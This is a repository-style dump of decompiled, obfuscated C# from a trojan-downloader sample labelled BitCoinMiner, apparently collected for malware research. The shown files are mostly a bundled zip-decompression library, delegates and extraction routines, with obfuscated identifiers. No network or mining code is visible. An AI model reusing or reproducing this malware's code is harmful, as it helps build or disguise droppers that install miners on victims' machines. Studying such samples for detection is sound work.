+    public bool \u008B\u0004() => this.\u0005 == 1 && this.\u0007 == 0;
+
+    [SpecialName]
+    public bool \u008C\u0004() => this.\u0005 == 12 && this.\u0015.\u001F\u0003() == 0;
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0017_0002/_0016.cs

@@ -0,0 +1,155 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u000E;
+using \u000E\u0002;
+using \u0017\u0002;
+using ICSharpCode.SharpZipLib;
+using System;
+using System.Runtime.InteropServices;
+
+namespace \u0017\u0002
+{
+  internal sealed class \u0016
+  {
+    private short[] \u0001;
+    public static \u0016 \u0002;
+    public static \u0016 \u0003;
+
+    static \u0016()
+    {
+      try
+      {
+        byte[] numArray1 = new byte[288];
+        int num1 = 0;
+        while (num1 < 144)
+          numArray1[num1++] = (byte) 8;
+        while (num1 < 256)
+          numArray1[num1++] = (byte) 9;
+        while (num1 < 280)
+          numArray1[num1++] = (byte) 7;
+        while (num1 < 288)
+          numArray1[num1++] = (byte) 8;
+        \u0016.\u0002 = new \u0016(numArray1);
+        byte[] numArray2 = new byte[32];
+        int num2 = 0;
+        while (num2 < 32)
+          numArray2[num2++] = (byte) 5;
+        \u0016.\u0003 = new \u0016(numArray2);
+      }
+      catch (Exception ex)
+      {
+        throw new SharpZipBaseException(\u0008.\u000E\u0003(3688));
+      }
+    }
+
+    public \u0016([In] byte[] obj0) => this.\u0080\u0003(obj0);
+
+    private void \u0080\u0003([In] byte[] obj0)
+    {
+      int[] numArray1 = new int[16];
+      int[] numArray2 = new int[16];
+      for (int index1 = 0; index1 < obj0.Length; ++index1)
+      {
+        int index2 = (int) obj0[index1];
+        if (index2 > 0)
+          ++numArray1[index2];
+      }
+      int num1 = 0;
+      int length = 512;
+      for (int index = 1; index <= 15; ++index)
+      {
+        numArray2[index] = num1;
+        num1 += numArray1[index] << 16 - index;
+        if (index >= 10)
+        {
+          int num2 = numArray2[index] & 130944;
+          int num3 = num1 & 130944;
+          length += num3 - num2 >> 16 - index;
+        }
+      }
+      this.\u0001 = new short[length];
+      int num4 = 512;
+      for (int index3 = 15; index3 >= 10; --index3)
+      {
+        int num5 = num1 & 130944;
+        num1 -= numArray1[index3] << 16 - index3;
+        for (int index4 = num1 & 130944; index4 < num5; index4 += 128)
+        {
+          this.\u0001[(int) \u0018.\u0084\u0003(index4)] = (short) (-num4 << 4 | index3);
+          num4 += 1 << index3 - 9;
+        }
+      }
+      for (int index5 = 0; index5 < obj0.Length; ++index5)
+      {
+        int index6 = (int) obj0[index5];
+        if (index6 != 0)
+        {
+          int num6 = numArray2[index6];
+          int index7 = (int) \u0018.\u0084\u0003(num6);
+          if (index6 <= 9)
+          {
+            do
+            {
+              this.\u0001[index7] = (short) (index5 << 4 | index6);
+              index7 += 1 << index6;
+            }
+            while (index7 < 512);
+          }
+          else
+          {
+            int num7 = (int) this.\u0001[index7 & 511];
+            int num8 = 1 << (num7 & 15);
+            int num9 = -(num7 >> 4);
+            do
+            {
+              this.\u0001[num9 | index7 >> 9] = (short) (index5 << 4 | index6);
+              index7 += 1 << index6;
+            }
+            while (index7 < num8);
+          }
+          numArray2[index6] = num6 + (1 << 16 - index6);
+        }
+      }
+    }
+
+    public int \u0081\u0003([In] \u0014 obj0)
+    {
+      int index;
+      if ((index = obj0.\u0013\u0003(9)) >= 0)
+      {
+        int num1;
+        if ((num1 = (int) this.\u0001[index]) >= 0)
+        {
+          obj0.\u0014\u0003(num1 & 15);
+          return num1 >> 4;
+        }
+        int num2 = -(num1 >> 4);
+        int num3 = num1 & 15;
+        int num4;
+        if ((num4 = obj0.\u0013\u0003(num3)) >= 0)
+        {
+          int num5 = (int) this.\u0001[num2 | num4 >> 9];
+          obj0.\u0014\u0003(num5 & 15);
+          return num5 >> 4;
+        }
+        int num6 = obj0.\u0015\u0003();
+        int num7 = obj0.\u0013\u0003(num6);
+        int num8 = (int) this.\u0001[num2 | num7 >> 9];
+        if ((num8 & 15) > num6)
+          return -1;
+        obj0.\u0014\u0003(num8 & 15);
+        return num8 >> 4;
+      }
+      int num9 = obj0.\u0015\u0003();
+      int num10 = (int) this.\u0001[obj0.\u0013\u0003(num9)];
+      if (num10 < 0 || (num10 & 15) > num9)
+        return -1;
+      obj0.\u0014\u0003(num10 & 15);
+      return num10 >> 4;
+    }
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0017_0002/_0017.cs

@@ -0,0 +1,199 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u000E\u0002;
+using \u0017\u0002;
+using ICSharpCode.SharpZipLib;
+using System;
+using System.Runtime.InteropServices;
+
+namespace \u0017\u0002
+{
+  internal sealed class \u0017
+  {
+    private static readonly int[] \u0001 = new int[3]
+    {
+      3,
+      3,
+      11
+    };
+    private static readonly int[] \u0002 = new int[3]
+    {
+      2,
+      3,
+      7
+    };
+    private static readonly int[] \u0003 = new int[19]
+    {
+      16,
+      17,
+      18,
+      0,
+      8,
+      7,
+      9,
+      6,
+      10,
+      5,
+      11,
+      4,
+      12,
+      3,
+      13,
+      2,
+      14,
+      1,
+      15
+    };
+    private byte[] \u0004;
+    private byte[] \u0005;
+    private \u0016 \u0006;
+    private int \u0007;
+    private int \u0008;
+    private int \u000E;
+    private int \u000F;
+    private int \u0010;
+    private int \u0011;
+    private byte \u0012;
+    private int \u0013;
+
+    public bool \u0011\u0003([In] \u0014 obj0)
+    {
+      while (true)
+      {
+        switch (this.\u0007)
+        {
+          case 0:
+            this.\u0008 = obj0.\u0013\u0003(5);
+            if (this.\u0008 >= 0)
+            {
+              this.\u0008 += 257;
+              obj0.\u0014\u0003(5);
+              this.\u0007 = 1;
+              goto case 1;
+            }
+            else
+              goto label_2;
+          case 1:
+            this.\u000E = obj0.\u0013\u0003(5);
+            if (this.\u000E >= 0)
+            {
+              ++this.\u000E;
+              obj0.\u0014\u0003(5);
+              this.\u0010 = this.\u0008 + this.\u000E;
+              this.\u0005 = new byte[this.\u0010];
+              this.\u0007 = 2;
+              goto case 2;
+            }
+            else
+              goto label_5;
+          case 2:
+            this.\u000F = obj0.\u0013\u0003(4);
+            if (this.\u000F >= 0)
+            {
+              this.\u000F += 4;
+              obj0.\u0014\u0003(4);
+              this.\u0004 = new byte[19];
+              this.\u0013 = 0;
+              this.\u0007 = 3;
+              goto case 3;
+            }
+            else
+              goto label_8;
+          case 3:
+            for (; this.\u0013 < this.\u000F; ++this.\u0013)
+            {
+              int num = obj0.\u0013\u0003(3);
+              if (num < 0)
+                return false;
+              obj0.\u0014\u0003(3);
+              this.\u0004[\u0017.\u0003[this.\u0013]] = (byte) num;
+            }
+            this.\u0006 = new \u0016(this.\u0004);
+            this.\u0004 = (byte[]) null;
+            this.\u0013 = 0;
+            this.\u0007 = 4;
+            goto case 4;
+          case 4:
+            int num1;
+            while (((num1 = this.\u0006.\u0081\u0003(obj0)) & -16) == 0)
+            {
+              this.\u0005[this.\u0013++] = this.\u0012 = (byte) num1;
+              if (this.\u0013 == this.\u0010)
+                return true;
+            }
+            if (num1 >= 0)
+            {
+              if (num1 >= 17)
+                this.\u0012 = (byte) 0;
+              else if (this.\u0013 == 0)
+                goto label_23;
+              this.\u0011 = num1 - 16;
+              this.\u0007 = 5;
+              goto case 5;
+            }
+            else
+              goto label_19;
+          case 5:
+            int num2 = \u0017.\u0002[this.\u0011];
+            int num3 = obj0.\u0013\u0003(num2);
+            if (num3 >= 0)
+            {
+              obj0.\u0014\u0003(num2);
+              int num4 = num3 + \u0017.\u0001[this.\u0011];
+              if (this.\u0013 + num4 <= this.\u0010)
+              {
+                while (num4-- > 0)
+                  this.\u0005[this.\u0013++] = this.\u0012;
+                if (this.\u0013 != this.\u0010)
+                {
+                  this.\u0007 = 4;
+                  continue;
+                }
+                goto label_32;
+              }
+              else
+                goto label_28;
+            }
+            else
+              goto label_26;
+          default:
+            continue;
+        }
+      }
+label_2:
+      return false;
+label_5:
+      return false;
+label_8:
+      return false;
+label_19:
+      return false;
+label_23:
+      throw new SharpZipBaseException();
+label_26:
+      return false;
+label_28:
+      throw new SharpZipBaseException();
+label_32:
+      return true;
+    }
+
+    public \u0016 \u0082\u0003()
+    {
+      byte[] numArray = new byte[this.\u0008];
+      \u008F\u0003.\u0098((Array) this.\u0005, 0, (Array) numArray, 0, this.\u0008);
+      return new \u0016(numArray);
+    }
+
+    public \u0016 \u0083\u0003()
+    {
+      byte[] numArray = new byte[this.\u000E];
+      \u008F\u0003.\u0098((Array) this.\u0005, this.\u0008, (Array) numArray, 0, this.\u000E);
+      return new \u0016(numArray);
+    }
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0017_0002/_0018.cs

@@ -0,0 +1,82 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u0017\u0002;
+using System.Runtime.InteropServices;
+
+namespace \u0017\u0002
+{
+  internal sealed class \u0018
+  {
+    private static readonly int[] \u0001 = new int[19]
+    {
+      16,
+      17,
+      18,
+      0,
+      8,
+      7,
+      9,
+      6,
+      10,
+      5,
+      11,
+      4,
+      12,
+      3,
+      13,
+      2,
+      14,
+      1,
+      15
+    };
+    private static readonly byte[] \u0002 = new byte[16]
+    {
+      (byte) 0,
+      (byte) 8,
+      (byte) 4,
+      (byte) 12,
+      (byte) 2,
+      (byte) 10,
+      (byte) 6,
+      (byte) 14,
+      (byte) 1,
+      (byte) 9,
+      (byte) 5,
+      (byte) 13,
+      (byte) 3,
+      (byte) 11,
+      (byte) 7,
+      (byte) 15
+    };
+    private static short[] \u0003 = new short[286];
+    private static byte[] \u0004 = new byte[286];
+    private static short[] \u0005;
+    private static byte[] \u0006;
+
+    static \u0018()
+    {
+      int index1;
+      for (index1 = 0; index1 < 144; \u0018.\u0004[index1++] = (byte) 8)
+        \u0018.\u0003[index1] = \u0018.\u0084\u0003(48 + index1 << 8);
+      for (; index1 < 256; \u0018.\u0004[index1++] = (byte) 9)
+        \u0018.\u0003[index1] = \u0018.\u0084\u0003(256 + index1 << 7);
+      for (; index1 < 280; \u0018.\u0004[index1++] = (byte) 7)
+        \u0018.\u0003[index1] = \u0018.\u0084\u0003(index1 - 256 << 9);
+      for (; index1 < 286; \u0018.\u0004[index1++] = (byte) 8)
+        \u0018.\u0003[index1] = \u0018.\u0084\u0003(index1 - 88 << 8);
+      \u0018.\u0005 = new short[30];
+      \u0018.\u0006 = new byte[30];
+      for (int index2 = 0; index2 < 30; ++index2)
+      {
+        \u0018.\u0005[index2] = \u0018.\u0084\u0003(index2 << 11);
+        \u0018.\u0006[index2] = (byte) 5;
+      }
+    }
+
+    public static short \u0084\u0003([In] int obj0) => (short) ((int) \u0018.\u0002[obj0 & 15] << 12 | (int) \u0018.\u0002[obj0 >> 4 & 15] << 8 | (int) \u0018.\u0002[obj0 >> 8 & 15] << 4 | (int) \u0018.\u0002[obj0 >> 12]);
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0017_0003.cs

@@ -0,0 +1,9 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Runtime.InteropServices;
+
+internal delegate string \u0017\u0003([In] string obj0, [In] string[] obj1);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0017_0004.cs

@@ -0,0 +1,9 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System;
+
+internal delegate DateTime \u0017\u0004();

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0017_0005.cs

@@ -0,0 +1,10 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System;
+using System.Runtime.InteropServices;
+
+internal delegate bool \u0017\u0005([In] DateTime obj0, [In] DateTime obj1);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0018_0003.cs

@@ -0,0 +1,9 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Runtime.InteropServices;
+
+internal delegate string[] \u0018\u0003([In] object obj0, [In] char[] obj1);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0018_0004.cs

@@ -0,0 +1,10 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System.Globalization;
+using System.Runtime.InteropServices;
+
+internal delegate CultureInfo \u0018\u0004([In] object obj0);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0018_0005.cs

@@ -0,0 +1,11 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System;
+using System.Reflection;
+using System.Runtime.InteropServices;
+
+internal delegate Delegate \u0018\u0005([In] Type obj0, [In] MethodInfo obj1);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0019_0002/_0018_0002.cs

@@ -0,0 +1,78 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u0093;
+using System;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+namespace \u0019\u0002
+{
+  internal sealed class \u0018\u0002
+  {
+    public \u0096 \u0001;
+    public \u0097 \u0002;
+    public \u0098 \u0003;
+    public \u0099 \u0004;
+    public \u009A \u0005;
+    private TimeSpan \u0006 = TimeSpan.FromSeconds(3.0);
+
+    public bool \u008D\u0004([In] string obj0, [In] Exception obj1)
+    {
+      bool flag = false;
+      \u0099 obj = this.\u0004;
+      if (obj != null)
+      {
+        \u0095 e = new \u0095(obj0, obj1);
+        obj((object) this, e);
+        flag = e.\u008B\u0003();
+      }
+      return flag;
+    }
+
+    public bool \u008E\u0004([In] string obj0, [In] Exception obj1)
+    {
+      \u009A obj = this.\u0005;
+      bool flag = obj != null;
+      if (flag)
+      {
+        \u0095 e = new \u0095(obj0, obj1);
+        obj((object) this, e);
+        flag = e.\u008B\u0003();
+      }
+      return flag;
+    }
+
+    public bool \u008F\u0004([In] string obj0)
+    {
+      bool flag = true;
+      \u0096 obj = this.\u0001;
+      if (obj != null)
+      {
+        \u0092 e = new \u0092(obj0);
+        obj((object) this, e);
+        flag = e.\u008B\u0003();
+      }
+      return flag;
+    }
+
+    public bool \u0090\u0004([In] string obj0)
+    {
+      bool flag = true;
+      \u0098 obj = this.\u0003;
+      if (obj != null)
+      {
+        \u0092 e = new \u0092(obj0);
+        obj((object) this, e);
+        flag = e.\u008B\u0003();
+      }
+      return flag;
+    }
+
+    [SpecialName]
+    public TimeSpan \u0091\u0004() => this.\u0006;
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0019_0002/_001A_0002.cs

@@ -0,0 +1,207 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u000E;
+using \u0019\u0002;
+using \u0093;
+using System;
+using System.Collections;
+using System.IO;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+namespace \u0019\u0002
+{
+  internal sealed class \u001A\u0002
+  {
+    private bool \u0001;
+    private byte[] \u0002;
+    private \u0087\u0002 \u0003;
+    private \u009C \u0004;
+    private \u009C \u0005;
+    private \u001A\u0002.\u001B\u0002 \u0006;
+    private \u001A\u0002.\u001C\u0002 \u0007;
+    private bool \u0008;
+    private bool \u000E;
+    private bool \u000F;
+    private \u0018\u0002 \u0010;
+    private \u001D\u0002 \u0011 = (\u001D\u0002) new \u0083\u0002();
+    private \u009B \u0012;
+    private \u001F\u0002 \u0013 = \u001F\u0002.\u0003;
+    private string \u0014;
+
+    [SpecialName]
+    public bool \u0092\u0004() => this.\u000F;
+
+    [SpecialName]
+    public bool \u0093\u0004() => this.\u000E;
+
+    public void \u0094\u0004([In] string obj0, [In] string obj1, [In] string obj2) => this.\u0094\u0004(obj0, obj1, \u001A\u0002.\u001B\u0002.\u0003, (\u001A\u0002.\u001C\u0002) null, obj2, (string) null, this.\u0008);
+
+    public void \u0094\u0004(
+      [In] string obj0,
+      [In] string obj1,
+      [In] \u001A\u0002.\u001B\u0002 obj2,
+      [In] \u001A\u0002.\u001C\u0002 obj3,
+      [In] string obj4,
+      [In] string obj5,
+      [In] bool obj6)
+    {
+      this.\u0094\u0004((Stream) \u009C\u0004.\u001F\u0005(obj0, FileMode.Open, FileAccess.Read, FileShare.Read), obj1, obj2, obj3, obj4, obj5, obj6, true);
+    }
+
+    public void \u0094\u0004(
+      [In] Stream obj0,
+      [In] string obj1,
+      [In] \u001A\u0002.\u001B\u0002 obj2,
+      [In] \u001A\u0002.\u001C\u0002 obj3,
+      [In] string obj4,
+      [In] string obj5,
+      [In] bool obj6,
+      [In] bool obj7)
+    {
+      if (obj2 == \u001A\u0002.\u001B\u0002.\u0001 && obj3 == null)
+        throw new ArgumentNullException(\u0008.\u000E\u0003(3753));
+      this.\u0001 = true;
+      this.\u0006 = obj2;
+      this.\u0007 = obj3;
+      this.\u0012 = (\u009B) new \u001E\u0002(obj1);
+      this.\u0004 = new \u009C(obj4);
+      this.\u0005 = new \u009C(obj5);
+      this.\u0008 = obj6;
+      \u0087\u0002 obj8 = this.\u0003 = new \u0087\u0002(obj0);
+      try
+      {
+        if (this.\u0014 != null)
+          this.\u0003.\u008D\u0005(this.\u0014);
+        this.\u0003.\u0090\u0005(obj7);
+        IEnumerator enumerator = this.\u0003.GetEnumerator();
+        while (this.\u0001 && \u0007\u0003.\u007E\u009C((object) enumerator))
+        {
+          \u0081\u0002 obj9 = (\u0081\u0002) \u001B\u0005.\u007E\u009D((object) enumerator);
+          if (obj9.\u0081\u0005())
+          {
+            if (this.\u0005.\u0091\u0003(\u0084\u0004.\u0083\u0005(obj9.\u0005\u0004())) && this.\u0004.\u0091\u0003(obj9.\u0005\u0004()))
+              this.\u0096\u0004(obj9);
+          }
+          else if (obj9.\u0080\u0005() && this.\u0005.\u0091\u0003(obj9.\u0005\u0004()) && this.\u0092\u0004())
+            this.\u0096\u0004(obj9);
+        }
+      }
+      finally
+      {
+        if (obj8 != null)
+          \u0093\u0003.\u007E\u009E((object) obj8);
+      }
+    }
+
+    private void \u0095\u0004([In] \u0081\u0002 obj0, [In] string obj1)
+    {
+      bool flag = true;
+      if (this.\u0006 != \u001A\u0002.\u001B\u0002.\u0003 && \u0005\u0005.\u001E\u0005(obj1))
+        flag = this.\u0006 == \u001A\u0002.\u001B\u0002.\u0001 && this.\u0007 != null && this.\u0007(obj1);
+      if (!flag)
+        return;
+      if (this.\u0010 != null)
+        this.\u0001 = this.\u0010.\u008F\u0004(obj0.\u0005\u0004());
+      if (!this.\u0001)
+        return;
+      try
+      {
+        FileStream fileStream = \u0016\u0004.\u001C\u0005(obj1);
+        try
+        {
+          if (this.\u0002 == null)
+            this.\u0002 = new byte[4096];
+          if (this.\u0010 != null && this.\u0010.\u0002 != null)
+            \u009D.\u0094\u0003(this.\u0003.\u0093\u0005(obj0), (Stream) fileStream, this.\u0002, this.\u0010.\u0002, this.\u0010.\u0091\u0004(), (object) this, obj0.\u0005\u0004(), obj0.\u0010\u0004());
+          else
+            \u009D.\u0094\u0003(this.\u0003.\u0093\u0005(obj0), (Stream) fileStream, this.\u0002);
+          if (this.\u0010 != null)
+            this.\u0001 = this.\u0010.\u0090\u0004(obj0.\u0005\u0004());
+        }
+        finally
+        {
+          if (fileStream != null)
+            \u0093\u0003.\u007E\u009E((object) fileStream);
+        }
+        if (this.\u0008)
+          \u0097\u0004.\u007F\u0005(obj1, obj0.\u0014\u0005());
+        if (!this.\u0093\u0004() || !obj0.\u000E\u0005() || obj0.\u0007\u0005() == -1)
+          return;
+        FileAttributes fileAttributes = (FileAttributes) (obj0.\u0007\u0005() & 163);
+        \u001D\u0005.\u0080\u0005(obj1, fileAttributes);
+      }
+      catch (Exception ex)
+      {
+        if (this.\u0010 != null)
+        {
+          this.\u0001 = this.\u0010.\u008E\u0004(obj1, ex);
+        }
+        else
+        {
+          this.\u0001 = false;
+          throw;
+        }
+      }
+    }
+
+    private void \u0096\u0004([In] \u0081\u0002 obj0)
+    {
+      bool flag = obj0.\u0082\u0005();
+      string str1 = obj0.\u0005\u0004();
+      if (flag)
+      {
+        if (obj0.\u0081\u0005())
+          str1 = this.\u0012.\u008C\u0003(str1);
+        else if (obj0.\u0080\u0005())
+          str1 = this.\u0012.\u008D\u0003(str1);
+        flag = str1 != null && \u0011\u0003.\u007E\u0004\u0002((object) str1) != 0;
+      }
+      string str2 = (string) null;
+      if (flag)
+        str2 = !obj0.\u0080\u0005() ? \u0084\u0004.\u0083\u0005(\u0084\u0004.\u0086\u0005(str1)) : str1;
+      if (flag && !\u0005\u0005.\u0014\u0005(str2))
+      {
+        if (obj0.\u0080\u0005())
+        {
+          if (!this.\u0092\u0004())
+            goto label_16;
+        }
+        try
+        {
+          DirectoryInfo directoryInfo = \u0081\u0004.\u0013\u0005(str2);
+        }
+        catch (Exception ex)
+        {
+          flag = false;
+          if (this.\u0010 != null)
+          {
+            this.\u0001 = !obj0.\u0080\u0005() ? this.\u0010.\u008E\u0004(str1, ex) : this.\u0010.\u008D\u0004(str1, ex);
+          }
+          else
+          {
+            this.\u0001 = false;
+            throw;
+          }
+        }
+      }
+label_16:
+      if (!flag || !obj0.\u0081\u0005())
+        return;
+      this.\u0095\u0004(obj0, str1);
+    }
+
+    internal enum \u001B\u0002
+    {
+      \u0001,
+      \u0002,
+      \u0003,
+    }
+
+    internal delegate bool \u001C\u0002(string fileName);
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0019_0002/_001D_0002.cs

@@ -0,0 +1,12 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+namespace \u0019\u0002
+{
+  internal interface \u001D\u0002
+  {
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0019_0002/_001E_0002.cs

@@ -0,0 +1,123 @@
+// Decompiled with JetBrains decompiler
+// Type: .
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u000E;
+using \u0019\u0002;
+using \u0093;
+using ICSharpCode.SharpZipLib.Zip;
+using System;
+using System.IO;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Text;
+
+namespace \u0019\u0002
+{
+  internal sealed class \u001E\u0002 : \u009B
+  {
+    private string \u0001;
+    private bool \u0002;
+    private char \u0003 = '_';
+    private static readonly char[] \u0004;
+
+    public \u001E\u0002([In] string obj0)
+    {
+      switch (obj0)
+      {
+        case null:
+          throw new ArgumentNullException(\u0008.\u000E\u0003(3774), \u0008.\u000E\u0003(3795));
+        default:
+          this.\u0097\u0004(obj0);
+          break;
+      }
+    }
+
+    public \u001E\u0002()
+    {
+    }
+
+    [SpecialName]
+    public void \u0097\u0004([In] string obj0)
+    {
+      switch (obj0)
+      {
+        case null:
+          throw new ArgumentNullException(\u0008.\u000E\u0003(943));
+        default:
+          this.\u0001 = \u0084\u0004.\u0086\u0005(obj0);
+          break;
+      }
+    }
+
+    public string \u008D\u0003([In] string obj0)
+    {
+      obj0 = this.\u008C\u0003(obj0);
+      if (\u0011\u0003.\u007E\u0004\u0002((object) obj0) <= 0)
+        throw new ZipException(\u0008.\u000E\u0003(3837));
+      while (\u0006\u0004.\u007E\u000E\u0002((object) obj0, \u0008.\u000E\u0003(3832)))
